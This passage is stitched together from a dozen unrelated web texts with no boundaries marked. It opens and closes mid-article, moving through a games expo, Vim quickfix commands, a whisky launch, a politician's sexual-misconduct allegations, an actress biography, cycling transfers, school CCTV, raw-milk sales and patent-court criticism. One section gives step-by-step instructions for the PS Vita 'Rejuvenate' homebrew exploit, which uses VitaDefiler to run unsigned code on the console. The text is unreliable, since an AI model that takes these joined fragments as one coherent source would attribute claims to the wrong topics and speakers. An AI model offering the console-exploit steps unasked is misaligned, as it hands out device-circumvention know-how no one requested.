It’s not just the indies who’ll be letting you get hands-on, though – Konami will be there with a playable demo of PES 15.
Add in loads of competitions for modern and retro gamers, a board game section if you get screened-out, and a mini-careers fair offering advice for getting into the game industry and you have the complete package.
There can be no other destination this week for anyone with even a passing interest in video games.
You’ll find me, by the way, in the retro arcade section, frantically trying to better my Donkey Kong high-score...
Why not get ready for the event and try a it of nostalgia with classic video game Pacman, below...
Just press 'enter' and use the arrow keys to play!
Pacman not your thing? Try Donkey Kong for size...
Take a look at our list of 20 retro computer games from your childhood - and you can play them!
Play Expo will take place at Event City next to the Trafford Centre this Saturday and Sunday.
There are some useful commands to navigate the quickfix list.
You probably already know that you can use :cn (or :cnext ) to jump to the next result and :cp (or :cprevious ) to jump to the previous result.
Maybe you even know about :cnf ( :cnfile ) and :cpf ( :cpfile ) to jump to the next or previous file with a result.
But my favorite quickfix list command is :cold ( :colder ).
Say you project-search for “foo” to look into an issue. You hit :cn a few times.
But then you realize the rabbit hole runs deeper. What’s that “bar” doing there?
So you project-search for “bar” and navigate that quickfix list for a while.
Now you want to get back to “foo”.
You could search for “foo” again… or you could run :cold .
:cold jumps back to the last (older) list. It even remembers which item in the list you were on.
This is not the first time the two entertainers have worked together. They emceed MBC’s Special DMZ Peace Concert in August held in commemoration of the 70th Anniversary of the Korean Liberation from Japanese Imperialism. Although it was their first time emceeing together, they received lots of positive feedback.
Last year, Kim Sung Joo emceed the MBC Entertainment Awards alongside actors Kim Sung Ryung and Park Hyung Sik. He also emceed last year’s Gayo Daejejeon with entertainer Jun Hyun Moo, actress Lee Yoo Ri, Girl’s Day’s Hyeri, and SISTAR’s Soyu. YoonA also has had ample experience emceeing shows such as the 2009 and 2011 KBS Entertainment Awards, 2013 KBS Drama Awards, and KBS Gayo Festival among other awards shows. She’s one of the busiest entertainers at the end of the year thanks to her talent.
Gayo Daejejeon is MBC’s year-end music program and it airs on December 31. Since 2005, the live broadcast of ringing in the new year at the Imjingak Peace Park during the show has attracted and kept many viewers up into the night.
Vaughan, Ontario, April 16, 2013 – Still Waters Distillery announces the release of the first Single Malt Whisky to be distilled, aged and bottled in Ontario. STALK & BARREL SINGLE MALT WHISKY will be released on Saturday, April 27, 2013, exclusively at Still Waters Distillery’s on-site distillery retail store.
All STALK & BARREL SINGLE MALT WHISKY will be bottled as single cask offerings in individually numbered bottles. The whisky is made by hand from 100% Canadian two-row malted barley in small batches in a custom-built copper pot still. It is bottled with no chill-filtering or artificial colouring.
The initial release was drawn from the first few casks of whisky made at the distillery in 2009 and will be offered at full cask strength. A limited number of bottles will initially be available directly from the distillery. Still Waters will also be offering Stalk & Barrel to Ontario residents online.
Supply really is small as the bulk of this new single malt has already been allocated to markets outside the province, including the US and Sweden. Future casks will be bottled and offered for sale as they mature.
Distiller and company co-founder, Barry Bernstein, said, “We set out to restore the tradition of small batch craft distilling in Ontario that goes back centuries. This whisky is the culmination of four years of hard work and patience.”
Barry Stein, co-founder and fellow distiller remarked, “We are already seeing incredible interest for our single malt whisky and have increased our production to meet future demand”.
Still Waters Distillery is Ontario’s first grain-to-glass micro-distillery. Their focus is on handmade whiskies, with their STALK & BARREL SINGLE MALT WHISKY being the first release. A rye whisky will be released in the future to extend the product line.
Still Waters Distillery has already established a stellar reputation among whisky aficionados with their award-winning blended Canadian whisky, an award-winning single malt vodka, and a brandy.
A 46% barrel sample of Stalk & Barrel poured recently at Whisky Live in New York was rich, creamy and fruity and at 4 years of age had matured into a full-bodied sipper. This speaks well of these two new natural cask strength Canadian singe malts!
Cheers, Barry and Barry! and Slainte! You did it. You brought craft distilling AND single malt whisky production to Ontario and you’ve done it with whisky we can all be proud of! BRAVO!
As long as supplies hold out Stalk & Barrel can be purchased at Still Waters on-site retail distillery store. The shop is open Monday to Thursday from 10:00 am to 5:00 pm and Friday from 10:00 am until 4:00 pm. If you can’t make it weekdays they have been known to open by appointment on Saturday or Sunday.
The shop and distillery are located at 150 Bradwick Drive, Unit #26., in Concord, Ontario. That’s just on the northern edge of Toronto about 15 minutes north of the Downsview subway station, just south of Langstaff Road, and one block west of Dufferin St. 150 Bradwick is tucked in behind #140 and #160.
First impressions:
I have tasted Stalk and Barrel cask #3 (46%) and I find it quite flavourful but I am not ready to write tasting notes. It is young and it tastes young but it is very rich and creamy, fruity and spicy. If you want to experience a new, young, very well-crafted single malt whisky, this is a good place to start.
From Dave K. I’m with you Davin. Just opened up my bottle of Cask #2 and I think your descriptors fruity, spicy, rich and creamy are right on the money, along with a nice barley sugar sweetness, and a very appealing waxiness. It is amazingly drinkable at cask strength, and swims like a champ. With water both the spice and wax grow a little but still backed by a wonderful fruitiness. I bought a bottle of Cask #1 and one of Cask #2 on Saturday, and if I wasn’t already home in North Carolina I’d go back and buy a couple more bottles. I really like the idea of supporting people that are taking a chance, doing something innovative, and making a great product in the process.
From my buddy, Blair in Toronto who is holding my bottles: Cask#1 It’s a prodigy like a young kid who plays the piano better than the older kid.
From @Bravado on twitter: You guys hit it way out of the park with cask #1 of Stalk & Barrel.
Bottling Stalk & Barrel on Youtube.
info@stillwatersdistillery.com
facebook.com/StillWatersDistillery
RICHMOND, Va. -- Joe Morrissey and his lawyer called for the Richmond Times-Dispatch to retract and apologize for a story published Friday.
In the report, a female client claimed Morrissey exposed himself to her at his law firm, pressured her for sex, sent her explicit text message, and, then, when she refused to play along gave her case to another lawyer in his office who pushed her into pleading guilty because she hadn’t paid Morrissey enough.
"The essence of this lady's claim is a lie," Morrissey's attorney, Arnold Henderson, told reporters during the 1:30 p.m. news conference.
Henderson refuted 10 specifics from the article that he said proves Kanika Morris' claims are "absolute" lies.
"This letter from Paul Galanides proves that her claim of being forced to plead guilty without her knowledge is a lie," Henderson said.
Morrissey, who was silent for the majority of the presser, claimed Morris' new lawyer drove her to the newspaper's offices immediately after she was released from jail.
"Everything that that woman said about meeting me in my office alone was a lie," Morrissey said.
In fact, Morrissey said that Catherine Mullins, the primary attorney who worked on the Morris case, was aghast by the allegations.
In an email Friday, Mullins said she did not remember Morris meeting with Morrissey privately in the office.
“I met with her alone in my office and then the two of us met with Joe in his office," Mullins wrote in an email."To my recollection, I was with her the entire time and she was never alone in Joe’s office. She told me she knew Joe preciously from his work with his group home. Because Joe knew her, he offered her a greatly reduced rate for her case."
Morrissey maintained that he had no contact with Morris for four months and that Galanides "handled the entire case."
Henderson faulted the newspaper for not reaching out to Morrissey sooner before going to press.
"I am here to formally offer the Richmond Times-Dispatch the opportunity... to retract the statement," Henderson said. "I am here to formally offer them the opportunity to apologize."
Henderson also said Morrissey will continue to campaign for mayor.
Morrissey said the allegations reminded him of the "shenanigans" he faced 25 years ago when he was running for Commonwealth's Attorney in Richmond.
"Five days before the primary they reported that I was indicted for bribery," Morrissey said. "I lost that primary."
When the case went to trial, Morrissey said all charges were dismissed.
"Six jurors said this was the most shameful set of charges they had ever seen." he said.
This was the second news conference in less than 24 hours for the candidate. A chaotic scene unfolded outside Morrissey’s house Friday and he opted to move things inside when his wife’s father showed up and yelled “liar” every time he attempted to talk.
Once inside, he refuted the allegations made by a woman named Kanika Morris in a Richmond Times-Dispatch article published Friday.
“What I’m accused of is a crime that I forced this person into a plea agreement…that is absolutely false,” Morrissey said
Standing by Morrissey’s side was his wife, Myrna, who looked visibly uncomfortable and kept rubbing her stomach.
Especially, when WTVR CBS 6 reporter Melissa Hipolit asked him about one particularly explicit text Morris claims he sent.
“What about the alleged follow up text involving panties,” Hipolit asked.
“While I don’t deny, while I don’t recall the exact texts, I don’t deny them at all, but I do deny is ever ever having any contact with her outside of my office after that first day,” Morrissey said.
Morrissey served jail time for charges related to an inappropriate relationship with Myrna when she was just 17.
Included in Morrissey’s plea deal, several explicit texts he allegedly wrote to her.
When Hipolit brought them up at the press conference, Myrna interrupted and said,” ok, I said that’s enough…that’s enough and we’re shutting this down now.”
Another reporter from the Times Dispatch attempted one more question, but Pride shut them down while Morrissey said “honey please, honey.”
“I nicely asked you guys…to stop the questioning, excuse me, I nicely asked you guy to please stop the videoing and the questions and to please exit my home,” Myrna said.
The Commonwealth’s Attorney in Henrico, Shannon Taylor, is investigating the allegations.
Bischoff and the second or maternal family name is Alvizuri. This name uses Spanish naming customs : the first or paternal family name isand the second or maternal family name is
Stephanie Beatriz Bischoff Alvizuri (born 10 February 1981)[1] is an Argentine-born American actress best known for playing Detective Rosa Diaz in the NBC comedy series Brooklyn Nine-Nine and Jessica in the independent drama Short Term 12 (2013).
Early life [ edit ]
Stephanie Beatriz Bischoff Alvizuri was born in Neuquén, Neuquén Province, Argentina, the daughter of a Colombian father and a Bolivian mother.[2] She also has German ancestry.[3] With her parents and a younger sister, she arrived in the United States at the age of three. She grew up in Webster, Texas and attended Clear Brook High School.[4][3]
She graduated from Stephens College in 2002 and moved to New York City to pursue acting.[3] In 2010, she moved to Los Angeles, where she currently resides.
Career [ edit ]
Beatriz had minor roles in the police procedural television series The Closer and Southland, as well a recurring role as Gloria's sister Sonia in the acclaimed ABC comedy series Modern Family. She has had numerous stage appearances at the Oregon Shakespeare Festival, Theatreworks USA, The Old Globe Theatre, and Yale Repertory Theatre. Beatriz had her first feature film role as Jessica in the 2013 acclaimed independent drama Short Term 12.
Since 2013, she has portrayed Detective Rosa Diaz in the acclaimed Fox and NBC series Brooklyn Nine-Nine, an action comedy series based around the members of a Brooklyn police precinct.
Beatriz starred as Bonnie in the independent feature film The Light of the Moon, written and directed by Jessica M. Thompson. The film premiered at the 2017 South by Southwest Film Festival, where it won the Audience Award for Narrative Feature Competition.[5] She received highly positive reviews for her performance, with The Hollywood Reporter stating that "Beatriz offers a powerful... unflinching, authentic performance", while Variety noted that the film was "harrowingly effective" and Beatriz's performance was "expertly balanced and judged."[6] As of 2018 she voices the character Gina on season 5 of BoJack Horseman.
Personal life [ edit ]
In July 2016, Beatriz revealed via Twitter that she is bisexual.[7][8] She has described herself as suffering from disordered eating.[9] In October 2017, Beatriz announced her engagement to Brad Hoss.[10] Beatriz and Hoss married on 6 October 2018.[11]
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
Web [ edit ]
After 9.5 years and more than three billion miles spent sailing through the Sol system, NASA’s New Horizons spacecraft gave us the best look at Pluto we’ve had yet. We couldn’t resist pitching in.
We <3 space exploration.
Look who we ran into at Montreal and San Diego Comic Con!
Thanks to everyone who came out to the San Diego @dragonage fan landsmeet. pic.twitter.com/exF5ez9fXR — BioWare (@bioware) July 12, 2015
We had plenty of awesome conversations with fans on the road, and we are constantly blown away by how much effort and detail people put into their cosplay.
KOTOR turned 12.
Happy 12th birthday KOTOR – Your story, characters and music still move me, to this day. @bioware @starwars @SWTOR pic.twitter.com/arJ4opLN9O — Dash Star (@DashStarWars) July 15, 2015
@bioware @ladyinsanity Still remember Canderous saying “Finally someone says what’s on all our minds” Such a great game still after 12 yrs. — HippeusOmega (@HippeusOmega) July 15, 2015
Such a great game, absolutely love it. Happy anniversary #KOTOR !! https://t.co/P802KmlB1h — Remki (@urchinmoppet) July 16, 2015
Has the #DAIMP community GONE TOO FAR?
First it was Noobtella, now this…
Ever wanted to make your own item for Dragon Age: Inquisition?
What kind of relic will you craft? The Untold Relics of Thedas contest is now open: http://t.co/QjjJ0fn6gR #DAIRelics pic.twitter.com/rLRdCwpydY — BioWare (@bioware) July 15, 2015
@bioware “Enhanced Basic Attacks: You now whirlwind. Like, all the time. That is all.” I like to think all internal BW memos read like this. — Owlfruit Potion (@owlfruitpotion) July 15, 2015
Now is your chance. Until July 20th, we’re giving players the opportunity to come up with their very own relics. Winning entries may end up in future content for Inquisition. Find out more here.
Whilst there are several races on right now it still feels like there’s a lull so it provides a moment to look at an updated version of the team victory rankings for this year and also to take stock of the transfer market which looks quieter than usual.
Will teams instead spend money on hiring staff in a bid to mimic Team Sky?
As the chart shows, Team Sky top the tables for outright wins but only just. Instead perhaps the story is how the top three teams seem to dominate, with over one third of wins by UCI Pro Teams coming from these three. Meanwhile at the foot of the table we see Ag2r and Saxo languish but I suspect the latter team will win in the upcoming Vuelta a Espana.
Both Saxo and Ag2r have taken steps to remedy their loss. Saxo now has Tinkoff Bank as a co-sponsor and plenty of financial firepower from maverick Russian entrepreneur (and keen cyclist) Oleg Tinkov. Ag2r don’t have much more money but they are hiring more riders capable of winning, like Davide Appollonio, Carlos Betancur and most recently Samuel Dumoulin, although it’s a cosy deal for Dumoulin as team boss Vincent Lavenu is also Dumoulin’s father in law.
Overall though the transfer season looks a bit sleepy so far. The big increase in rider wages in recent years means being an agent is a lucrative business but so far 2012 doesn’t look like a vintage year for fees. Here’s the top-20 riders on the IG Pro Cycling Index.
1 GBR Wiggins Bradley Sky Procycling 5259 2 SVK Sagan Peter Liquigas – Cannondale 4328 3 ESP Rodriguez Oliver Joaquin Katusha Team 4320 4 BEL Boonen Tom Omega Pharma-Quickstep 4267 5 GBR Cavendish Mark Sky Procycling 3228 6 ITA Nibali Vincenzo Liquigas – Cannondale 2977 7 NOR Boasson Hagen Edvald Sky Procycling 2625 8 BEL Gilbert Philippe BMC Racing Team 2407 9 GBR Froome Chris Sky Procycling 2372 10 GER Greipel André Lotto – Belisol 2262 11 SUI Cancellara Fabian Radioshack-Nissan 2245 12 AUS Gerrans Simon Orica Greenedge 2135 13 BEL Van Avermaet Greg BMC Racing Team 2107 14 ESP Moreno Fernandez Daniel Katusha Team 2082 15 GER Martin Tony Omega Pharma-Quickstep 2075 16 FRA Voeckler Thomas Team Europcar 1983 17 POR Costa Rui Movistar Team 1904 18 ESP Sanchez Gonzalez Samuel Euskaltel – Euskadi 1862 19 ITA Moser Moreno Liquigas – Cannondale 1793 20 CAN Hesjedal Ryder Garmin – Sharp 1781
Amongst these 20 riders few are changing teams over the winter. Vincenzo Nibali is moving to Astana. Otherwise we get speculation that Mark Cavendish is supposed to be thinking about his future at Sky or Omega Pharma – Quickstep and Fabian Cancellara could move, either returning to Bjarne Riis and Saxo Bank-Tinkoff or just possibly the new Swiss team IAM.
When several important riders move it forces other teams to respond but this time it seems there’s little change. Vultures are circling over the wounded carcass that is the Radioshack-Nissan team but it seems most recruitment here will be to strengthen existing teams.
Liquigas seem to be a depleted team. After Nibali leaving and taking some helpers, we’ve also heard that Daniel Oss and Dominik Nerz are going to BMC Racing. Now Sylwester Szmyd has said he is leaving but won’t reveal where; if you want to guess then he’s offering a t-shirt three people who offer the correct answer via his blog. Of course having Sagan with the team means that the squad doesn’t need many other riders, plus the Italian team has Ivan Basso and promising stage race rider Eros Capecchi.
We can only speculate about Mark Cavendish’s future. Clearly Team Sky can win a lot but they can’t offer him the dedicated sprint train he must want and whilst it is good to see a world champion carrying water bottles for the yellow jersey for the way it underlines team work, it’s not something you expect Cavendish wants to do very often. A move to Omega Pharma – Quickstep is possible but he could stay, knowing he might have support in many races and besides, Team Sky still need a sprinter or two. Would the Belgian team have to buy Cavendish out of the contract or would Sky agree to a friendly departure? There’s plenty to think about for fans, teams, agents and of course, Cavendish but for now OPQS team boss Patrick Lefevere has said Cavendish is “too expensive”. Then again this is the ideal start to negotiations, no?
Of course there’s still plenty of time for more deals to happen. It’s just that with most of the identifiable grand tour winners staying put and the big classics contenders doing the same there’s not much more happening. Barring a total implosion at Radioshack, the story of rider transfers looks like one of selective acquisitions by teams and a few riders searching for new opportunities.
A report by the Independent Schools Inspectorate said its unannounced inspection at Queen Ethelburga's College - which was carried out earlier this year at the request of the Department for Education - identified a series of specific issues.
It also said the school was using 700 CCTV cameras. The school said the figure was 501 and said it had carried out improvements since the inspection.
Specific issued raised related to the use and monitoring CCTV, the training and practice of staff in safeguarding, record keeping and the role of the proprietor/provost and governors. The concerns prompted a second, announced inspection in the summer so inspectors could clarify the issues.
The report said some pupils expressed concern over the number of cameras around the site, 'and the fact that they were sometimes used to catch pupils behaving inappropriately (e.g. kissing or queue jumping).'
It said: "The extensive use of CCTV surveillance across the school beyond usual security practice is an approach which is causing some pupils and parents concern. The use of cameras in the EYFS (Early Years Foundation Stage) without sufficient controls and as observed on both visits is inappropriate.
"At the time of the inspections, around seven hundred CCTV cameras were located around the school, including in the EYFS, though not in boarding houses or designated pupil changing areas.
"In the EYFS, it was school policy for staff to cover or stand in front of the cameras to shield the children when the children are changing."
The report said regulations and standards were not met over the welfare, health and safety of pupils at the school, which is situated at Thorpe Underwood, between York and Harrogate, with some staff uncertain about the level or frequency of safeguarding training they had received.
Nor were regulations and standards met over the suitability of staff, supply staff and proprietors. The report also criticised the quality of leadership and management in relation to safeguarding policies.
Headteacher Steve Jandrell told The Press yesterday that, following the inspection, the school agreed an improvement programme covering 15 areas raised by the inspection team and it implemented all these changes over the summer prior to the start of term.
"Specifically every member of staff received updated safeguarding training and we continued our programme to amend the management structures for the future governance of the school," he said.
"We also used this as an opportunity to review all the school policies ready for the new school year, working with specialist advisors to put in place significantly enhanced management and operational controls which are over and above the improvements agreed with ISI."
He said that like most independent schools, Queen Ethelburga’s made use of CCTV cameras for security reasons but their use was tightly restricted.
He said there were actually 501 CCTV cameras across the whole 200 acre site, of which 451 were specifically used by the school, and no cameras in the boarding houses, none in the EYFS or kindergarten areas,changing areas or toilets.
"At the time of the inspection, there had been cameras in EYFS classrooms, but not in designated changing areas. However, on occasion the children used these classrooms to change, and on those occasions it was the practice for the teacher present to cover the camera. However, following the review, all seven cameras were removed from the EYFS classrooms and our policy on changing facilities was reinforced with staff."
He said all the cameras were in open view, in public areas, not in areas which might pose a threat to privacy, and the school had a CCTV policy, and carried out a full review and audit in the autumn, consulting with parents and all members of staff.
Milk—rich in protein, low in acid—is one of the best growth mediums on the planet. Bacteria love it. Unpasteurized milk can carry salmonella, campylobacter, and E. coli O157:H7, the strain that came to public attention in the nineties, when four children died after eating contaminated meat at Jack in the Box. Listeria has been traced to queso-fresco-style raw-milk cheeses, sometimes known as “bathtub cheese,” a reference to unsanitary home-production methods. A study published by the C.D.C. in February found that pathogens in raw milk can be especially harmful to children and others with weakened immune systems; in the sixty raw-dairy outbreaks between 1993 and 2006 in which the victims’ ages were known, two-thirds were younger than twenty. Only a small fraction of the population—between one and three per cent—drinks raw milk, and fewer than two hundred cases of foodborne illness are attributed to it each year. Still, its popularity is rising, which is a great concern to regulators. The C.D.C. study reported that raw dairy was a hundred and fifty times more likely than pasteurized products to cause an outbreak. Pasteurization was introduced to the American dairy industry to solve a crisis. By the mid-nineteenth century, most of the milk available in cities was supplied by “swill dairies”: stables built alongside distilleries, where cows were fed macerated grain left over from the production of whiskey. The spent grains boosted milk production temporarily, but left the cows—confined to dirty, crowded pens—malnourished and prone to disease. In 1858, the Times published an editorial titled “How We Poison Our Children,” decrying the “bluish, white compound of true milk, pus and dirty water” and blaming swill milk for eight thousand infant deaths in the city the previous year. Four years later, Louis Pasteur came up with a heat treatment to kill bacteria in wine, and his method was soon applied to milk. When Nathan Straus, a co-owner of Macy’s, set up depots where poor families could get pasteurized milk at discounted prices, the number of New York City babies dying dropped precipitously. What began as an argument for treating milk produced under unsanitary conditions became an argument for treating all milk. Speaking at the Pasteur Institute in 1905, the director of the depots read a statement from Straus saying, “It is milk—raw milk, diseased milk—which is responsible for the largest percentage of sickness in the world. . . . I hold that the only safe rule is—Pasteurize the entire milk supply and make it a function of the municipality.” Raw-milk sales are now illegal in eleven states and permitted in a number of others only through herd-share agreements and on-farm sales; in four states, it can be sold only as pet food. Since 1987, when Ralph Nader’s Public Citizen sued the Department of Health and Human Services to prohibit interstate commerce in raw milk, it has been a crime to transport it for sale across state lines. The resulting underground market is by definition unregulated; consumers must take it on faith that the milk is clean, something that, without testing, even the farmer can’t know for sure. Good standards for inspection and proper labelling could significantly reduce the likelihood of outbreaks, but for now the two sides—those who call for unfettered access and those who completely oppose it—are deadlocked. “The conversation needs to start with really solid facts about the incidence of bacteria in raw milk,” Jo Robinson, an investigative journalist who runs the Web site Eat Wild, says. “We’re not doing enough to reduce those risks.” Raw milk has always been legal in California, but the preponderance of regulation has made it hard to come by. In the late nineties, not long after James Stewart started selling raw milk, the state’s largest provider shut down its raw operation, leaving, by Stewart’s count, eight licensed raw-milk cows in California. As he searched for new supplies, he heard from Mark McAfee, a former paramedic who had inherited his grandparents’ farm, in Fresno. “I called up James and said, ‘I’ve got two hundred and fifty cows here, all certified organic or on grass,’ ” McAfee told me. “He says, ‘I’ll be there in three hours.’ ” According to McAfee, Stewart single-handedly rebuilt the market for raw milk in Southern California, and introduced him to the nutritionist Aajonus Vonderplanitz, a former “General Hospital” actor who claims to have cured himself of multiple cancers by eating a diet of raw meat, eggs, and milk, and sharply restricting his water intake. (Vonderplanitz, who calls his approach the Primal Diet, says that for a treat he bleeds meat into raw milk: “Tastes like ice cream!”) Vonderplanitz became an investor in the farm, and his followers became McAfee’s customers. Organic Pastures is now, by McAfee’s estimation, the largest raw dairy in the world, with four hundred and thirty cows. It produces twenty-four hundred gallons of milk a day, which retails for sixteen dollars a gallon. On a chilly day in November, I drove out to Organic Pastures with McAfee, an energetic, trim man who was wearing a thick parka and clean bluejeans. “When people start drinking raw milk, it’s like this awakening,” he said. “It’s a phenomenally transforming immune-system food that is largely oppressed, suppressed, ignored, vilified, hated by processors and those that are involved with the structure of the American Dairy Association,” he said. “It’s a massive food fight.” That day, McAfee was waiting for the state to lift a monthlong embargo on his milk. For the second time in five years, Organic Pastures had been implicated in an outbreak of E. coli O157:H7. Five young children had fallen ill; three were hospitalized and treated for hemolytic uremic syndrome, which can lead to kidney failure. The same strain had been found in his calving pen, and he had instituted new safety procedures at the farm. Still, the embargo was costing him a hundred and fifty thousand dollars a week, and he felt that the state was bleeding him intentionally. The recall had driven the price of raw milk in some stores up to forty dollars a gallon, with priority going to mothers. “We’ve been trying to keep the peace with all of our consumers,” he told me. McAfee pulled into the farm and stopped beside a village of neat trailers: an office, a retail store, and a creamery, where hundreds of bottles stood waiting to be sent out. He talked with a manager, and said grimly, “It looks like we won’t be getting released today.” We drove down an unpaved road, past McAfee’s house, a large Mediterranean spread with a pool, a pair of pet goats, and a hangar where he keeps a plane. In the dairy barn, a row of cows with steaming, swollen undercarriages lined up to be milked. Workers hosed them down—manure is a major potential source of pathogens—then stripped their teats with iodine. The state requires frequent testing, and McAfee takes expensive precautions to keep the milk clean. But, he said, “Manure is the carrier of the beneficial bacteria found in raw milk. The whole pasteurization community does not understand that at all.” In recent years, people have been drinking less milk, instead choosing alternatives like soy milk, almond milk, rice milk, and other beverages. At the same time, prices for feed and fuel have escalated, and many dairies have gone out of business. There has been a spate of dairyman suicides, several of them in California. But, since McAfee’s last E. coli recall, in 2006, when six children got sick after drinking his products, Organic Pastures has grown steadily. McAfee is doing far better than most of his pasteurizing counterparts; the company, he says, has sold nearly eight million dollars’ worth of milk products in the past year. “I had a scary dream that I wasn’t getting any attention.” Many public-health workers are puzzled by the raw-milk phenomenon. The F.D.A. “strongly advises against the consumption of raw milk,” maintaining that there is no nutritional advantage and a great health risk; John Sheehan, the agency’s director of dairy food safety, has likened it to “playing Russian roulette with your health.” Gevork Kazanchyan, a former Los Angeles County health inspector who teaches food safety and sanitation, told me, “We know this food can contain a hazard that is possibly life-altering; it’s the extremity of the hazard that governs the response to it. There is a population that is particularly vulnerable, and these are the ones who are fed raw milk. We have this thing—pasteurization—that works. You’re choosing to go around it. We can’t give carte blanche.” But embracing bacteria is part of the raw-milk ethos. In order to shop at Rawesome, you had to sign an agreement saying that you preferred your food to “contain microbes, including but not limited to salmonella, E. coli, campylobacter, listeria, gangrene and parasites” and liked your eggs “completely unrefrigerated and unwashed from the chicken and covered with bacteria and poultry feces.” Members not only rejected government food-safety standards as inapplicable to their nutritional requirements; they found them to be dangerous, because they allow for food to be treated with radiation and antibacterial chemicals. In an earlier raid on Rawesome, in 2010, the California Department of Food and Agriculture took samples of cheese made by a dairy in Missouri and found that they tested positive for trace amounts of listeria. “We told them we threw it out, but I don’t think we did,” a former U.S.D.A. employee who worked at Rawesome for two years told me. “Listeria really didn’t matter.” Milk, be it human or cow, is the first food to which most humans are exposed; it is unlike other products both for consumers, who associate it with basic nourishment, and for regulators, who see its oversight as a grave responsibility. Michele Jay-Russell, of the Western Institute for Food Safety and Security at U.C. Davis, said, “From a public-health perspective, milk has fallen into the category of water. Providing a clean milk and water supply is fundamental to what the government sees as its job. If the government were stopping people from selling impure water, it’s hard to imagine there would be a great public outcry.” But Jay-Russell acknowledges the frustration of consumers who can’t get a product that they feel they need. “The crux of the conundrum is: why shouldn’t it be their choice?”
One winter morning, with a heavy fog lying over Los Angeles, the Dairy Fairy, a Rawesome member who quietly assumed Stewart’s procurement responsibilities after the bust, got in her car and headed for the drop. Every week, she takes orders from the Rawesome diaspora for raw dairy, sauerkraut, and meat, most of it transported from out of state in truck space rented from a large produce operation. To compensate her for her time, she is given a box of groceries, which is meaningful, since she works freelance, and she and her boyfriend spend about five hundred dollars a week on food. (Their dog eats raw, too.) Since August, the drop had gone down in public parks across the city, but the Dairy Fairy had decided that was too risky. One day, at a convenience store, she noticed a man selling cars off the lot. “I was like, That’s kind of shady,” she said. “So I went and talked to the owner. He said, ‘I’m from Egypt—I love raw milk!’ I trade him milk for us to park our truck here.” The beauty of the location, she said, is that trucks come and go all day long; no one notices the milk truck, unmarked and inconspicuous, parked in a corner of the lot. The truck was waiting when she arrived. A young couple popped out; the woman had a pixie cut and was wearing knee-high yellow-and-black athletic socks from a CrossFit gym. The man helped the Dairy Fairy unload from her trunk two cases of black-market raw butter, made with cream from a nonfat-yogurt operation in New England, which sold for sixteen dollars a pound. “This stuff is sacred!” the Dairy Fairy said. The butter-maker, she said, demanded that they rendezvous in strange spots to make the handoff: cash up front for butter. The last time, it had been at LAX. This time, she had had to meet him by the side of the road in Pasadena. As the sun burned through the fog, the former members of Rawesome started to arrive: skinny women on bicycles, old ladies with tote bags, a C.P.A. in a shiny black BMW S.U.V. Vincent Gallo—pink sunglasses, lumberjack shirt, moccasins—came for his box, which included goat yogurt made by someone who used to work at Rawesome. “I go up in the mountains and get the raw goat milk,” the yogurt-maker said. “I actually have to sign a waiver saying I won’t bring anyone up there or say who they are. They are top secret.” A few weeks later, the Dairy Fairy called me. She’d had an uncomfortable conversation with the butter-maker, who has a successful gourmet business and sees no advantage in exposing his dealings in contraband dairy. “He said, ‘You were the drug dealer! The drug dealer does not talk to the media!’ ”
Remember: This is still a beta release and only for those of you who were able to obtain a publisher’s license in time (whose application was approved by Sony before the deadline on May 31). For everyone else: The license workaround (PSM+) will be released at a later point once PSM is revoked.
For now this will let you run the obligatory “Hello World” PoC only!
Let’s get to it!
1) Download the public beta files Rejuvenate 0.2
2) Download the PSM_SDK_1.21.02.exe
3) Extract the Rejuvenate ZIP and place the PSM_SDK_1.21.02.exe inside the same folder
4) Run the SETUP.BAT and simply follow the instructions
v1.07 = FW 2.11 or later
v1.09 = FW 3.00 or later
v1.12 = FW 3.01 or later
v1.14 = FW 3.15 or later
v1.15 = FW 3.35 or later
5) Once done you can connect your Vita to the PC and start up the Dev assistant app
6) As mentioned earlier, Rejuvenate can only run a Hello World for now. To run said Proof of Concept drag and drop the hello_world.elf file onto the run_homebrew.bat file.
7) From now you’re basically done and everything else will be taken care of automatically!
If everything goes right you will notice that the VitaDefiler Programm will be copied over to your Vita automatically and you can follow the progress of exploitation and launching right in the terminal.
8) And if you see this.. your Done!
However, if you shouldn’t get it to run right at the first time and return error messages try redoing the progress of setting up Rejuvenate and maybe open the PSMStudio and run a Demo like described here first!
Now once again: Since this hack needs your Vita to be connected to the PC, it won’t work with a PlayStation TV at all!
Official Download page: http://yifan.lu/p/rejuvenate/
from the and-that's-sad dept
Some scholars have collected facts and figures. For example, a 2008 book by James Bessen and Michael Meurer attempted to compute the costs and benefits of the patent system to various industries. They found that benefits significantly exceeded costs for the pharmaceutical industry, but the costs of litigation exceeded the benefits of holding patents in many other industries. Their work suggests that the patent system has become a net disincentive to innovation in those industries. The problem was particularly severe in software.
Strangely, Michel singled out Bessen and Meurer's book as an example of a text that relied too much on anecdotes and not enough on data, declaring it "very disappointing." We pressed him on this. Michel conceded the problem was less that it was too anecdotal and more that he disagreed with the book's premise—that high litigation costs were a sign the patent system wasn't working.
Judge Michel seemed unaware of the depth of the software industry's dissatisfaction with the patent system. He suggested the patent system's critics were relatively marginal figures not representative of the views of the broader technology industry. And he didn't seem to understand the dynamics of the patent arms race currently affecting the software industry. "If software is less dependent on patents, fine then. Let software use patents less as they choose," Michel said. "If other industries are terribly dependent on patents, then let's not wreck the system just because software people are unhappy."
Rader and Michel's perspectives are likely skewed by the fact they spent their time on the bench surrounded by patent lawyers (who by definition work with firms that have the resources to hire patent attorneys). For the typical software-producing firm, patent lawyers are simply too expensive. Most firms never get patents, and they typically settle patent claims rather than taking them to court. As a result, Judges Michel and Rader rarely hear from smaller firms for whom the patent system is nothing but a burden.
Last year, we were quite disappointed (but not surprised) to see former CAFC Judge Paul Michel argue publicly that we need many more patents to encourage innovation. He went so far as to suggest a tax credit for getting patents. He also argued that more patents would mean more technology jobs -- ignoring pretty much all of the research out there. CAFC, of course, is the appeals court that handles most patent appeals cases, and since its establishment has been a major part of the problem. You can trace the massive expansion of bogus patents to CAFC's views on patenting, expanding what was thought to be patentable, and generally doing tremendous harm to the important limits on such government granted monopolies.Tim Lee recently got to talk to Michel following a talk he gave, and what becomes clear is that Michel is completely out of touch with how much of a problem patents are in the tech world today . Lee knows this subject better than probably anyone else, and when he tried to dig in on key points, it was obvious that Michel's knowledge of what actually is happening in the industry is based on myths and imagination, rather than reality. For example, when Michel pointed out that he's "a facts and figures guy" rather than one who focuses on "anecdotes and assumptions," Lee quickly points to James Bessen and Michael Meurer's comprehensive book on why patents hurt the tech industry. Michel does not appear to have actually read the book:Indeed, anyone who claims that the Bessen and Meurer book is about anecdotes either hasn't read it or is lying. It goes through so much data and so much evidence that, at times, it's a daunting read. But what Lee's 